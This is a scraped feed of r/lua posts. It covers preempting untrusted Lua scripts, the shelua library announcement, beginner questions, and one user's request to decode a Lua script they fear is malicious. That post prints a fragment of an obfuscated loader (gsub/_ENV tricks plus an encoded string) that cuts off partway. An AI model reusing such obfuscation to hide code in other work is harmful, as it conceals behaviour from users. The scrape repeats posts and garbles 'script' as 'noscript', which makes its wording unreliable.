I am meant to repeatedly call a fn, predefined by spec, from lua noscript every "execution interval".
If the noscript runs for longer than execution interval I terminate it. Execution interval for each noscript is set dynamically by server.
This model works ok for small num of noscripts or for noscripts that don't take too long to process but quickly bottlenecks for long running noscripts.
So I wanted to implement a round robin sched and grant 400ms of timeslice to each noscript.
Each noscript already has a different lua_state *.
I am just stuck at how to pause currently running lua noscript and jump to a different lua noscript. Essentially how do I pre-empt these noscripts?
https://redd.it/1kdjwgd
@r_lua
I am dynamically downloading multiple lua noscripts from a remote server.
I can't control the contents of lua noscript.
I currently have a cooperative scheduler in place with lua hooks to check how long a noscript has run for using monotonic clock every 1000 ins.
I am meant to repeatedly call a fn, predefined by spec, from lua noscript every "execution interval".
If the noscript runs for longer than execution interval I terminate it. Execution interval for each noscript is set dynamically by server.
This model works ok for small num of noscripts or for noscripts that don't take too long to process but quickly bottlenecks for long running noscripts.
So I wanted to implement a round robin sched and grant 400ms of timeslice to each noscript.
Each noscript already has a different lua_state *.
I am just stuck at how to pause currently running lua noscript and jump to a different lua noscript. Essentially how do I pre-empt these noscripts?
https://redd.it/1kdjwgd
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
shelua: use your shell as real lua code!Announcing: https://github.com/BirdeeHub/shelua
Some of you may have heard of https://github.com/zserge/luash before.
I heard about it last week.
"What a beautiful little library!" I thought to myself, and went to try it out.
That's when it hit me. "I'm sorry, it does WHAT to _G?!?! I can't import this anywhere!"
I also found out error codes don't work before 5.2. And that it can't do real pipes.
I look at the repo. Last push, 9 years ago. This was made for me.
Within the evening, I had it localized to the sh variable it came from, without losing its ergonomics,
and fixed error codes prior to 5.2 and added some useful settings not there previously.
But I was not satisfied. I wanted REAL pipes. The ones in bash where all the commands start at the same time.
And its kinda fun... I might want to use it with another shell...
Well, a few days later, it has proper pipes, and you can make it work with any shell with just a bit of effort.
It is still tiny.
I am pleased to be able to announce to you all a more modular and capable iteration of the idea luash brought to us. I have really enjoyed it so far.
https://github.com/BirdeeHub/shelua
print(sh.ls '/bin' : grep filter : wc '-l')
https://redd.it/1kdl9l5
@r_lua
GitHub
GitHub - BirdeeHub/shelua: Tiny lua module to write unix shell noscripts with lua (inspired by zserge/luash)
Tiny lua module to write unix shell noscripts with lua (inspired by zserge/luash) - BirdeeHub/shelua
Help me ti decrypt this lua noscript i am scared that its malicius
Help me decrypt this pls::gsub('.+', (function(a) _P_dIAWmtuyGD = a; end)); EkrawtzGYuIRKDbU=_ENV;FyEGlLXtMRFRqAq='K*RA-wrC{2D1N&j#22#Fr{j=w{&1-{NzA{DjrNjCw*NNwANN-R1*Rj2#&{wDN{-71{Rj&wr1&wwDNjA21&R&1Aj5rN&k-{N\^Ar12AADNR02N*C{#ZrC##{r1j2w1&C-&NAAj1A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iJ&L4lBl1lgji9BBllj 1l &igLgg Wgyy4i1+\&g1;g+ByMLl*B*jy+4fLg4+*g1ylyjyj&BlB+1j 4jyBjBEB1i&ili+yy &;Ji
https://redd.it/1kdrrhy
@r_lua
https://redd.it/1kdrrhy
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
Is lua a good choice for making webassembly games instead of rust?
I am trying to make web games in webassembly. have tried rust bit the learning curve for rust is too much . will lua be a good choice to make webassembly games?
https://redd.it/1kdsqlw
@r_lua
I am trying to make web games in webassembly. have tried rust bit the learning curve for rust is too much . will lua be a good choice to make webassembly games?
https://redd.it/1kdsqlw
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
how do I make a wait( ) function?
hi, I am new to Lua.
at first, I was using Roblox studio, but I moved to Love2D
in Luau (roblox's alternative for Lua), they have a built in
Now I realised, I don't have a
it is pretty self explanatory, I want a
https://redd.it/1kea7gp
@r_lua
hi, I am new to Lua.
at first, I was using Roblox studio, but I moved to Love2D
in Luau (roblox's alternative for Lua), they have a built in
wait()command in their libraryNow I realised, I don't have a
wait() function in my libraryit is pretty self explanatory, I want a
wait() function that makes the program wait for a set duration of time before executing the following codehttps://redd.it/1kea7gp
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
Lua+FFI emulation in browser to run my desktop LuaJIT framework.
https://github.com/thenumbernine/glapp-js
https://redd.it/1kemek9
@r_lua
https://github.com/thenumbernine/glapp-js
https://redd.it/1kemek9
@r_lua
GitHub
GitHub - thenumbernine/glapp-js: wrapper code for my LuaJIT-driven glapp's to be run in-browser
wrapper code for my LuaJIT-driven glapp's to be run in-browser - thenumbernine/glapp-js
I have a question
Where could i learn lua for free? Is there any variants? I want to learn lua but i don't reslly have the money needed for paid guides
https://redd.it/1kgtijl
@r_lua
Where could i learn lua for free? Is there any variants? I want to learn lua but i don't reslly have the money needed for paid guides
https://redd.it/1kgtijl
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
I'm starting to see Lua everywhere
Not since year ago, I did not think Lua is popular. But today I realize it is everywhere!
https://redd.it/1kgwqul
@r_lua
Not since year ago, I did not think Lua is popular. But today I realize it is everywhere!
https://redd.it/1kgwqul
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community